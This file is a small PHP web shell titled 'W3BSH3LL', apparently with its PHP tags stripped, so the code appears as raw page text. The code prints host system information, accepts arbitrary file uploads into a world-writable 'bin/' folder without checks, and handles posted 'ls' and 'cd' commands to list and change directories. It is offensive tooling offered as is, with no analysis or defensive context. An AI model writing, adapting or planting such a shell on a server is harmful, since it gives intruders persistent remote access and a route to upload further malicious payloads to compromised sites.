<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
W3BSH3LL<title>W3BSH3LL</title>
<style>
body {
background-color: black;
color: white;
}
</style>
<div class="container">
Host Information: echo php_uname('a');
<div class="cmd">
// Current folder path
$currentFolder = __DIR__;
// File upload process
if (isset($_POST["submit"])) {
$uploadDir = 'bin/';
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo '<p>File uploaded successfully. Path: ' . $uploadFile . '</p>';
} else {
echo '<p>File upload error!</p>';
}
}
// Command operations
if (isset($_POST["cmd"])) {
$command = $_POST["cmd"];
if ($command == "ls") {
echo "<p>Folder Contents:</p>";
$files = scandir($currentFolder);
echo "<ul>";
foreach ($files as $file) {
echo "<li>$file</li>";
}
echo "</ul>";
} elseif (substr($command, 0, 3) == "cd ") {
$newDir = substr($command, 3);
if (chdir($newDir)) {
$currentFolder = getcwd();
echo "<p>Folder changed. New folder: $currentFolder</p>";
} else {
echo "<p>Folder change error!</p>";
}
} else {
echo "<p>Unknown command!</p>";
}
}
</div>
</div>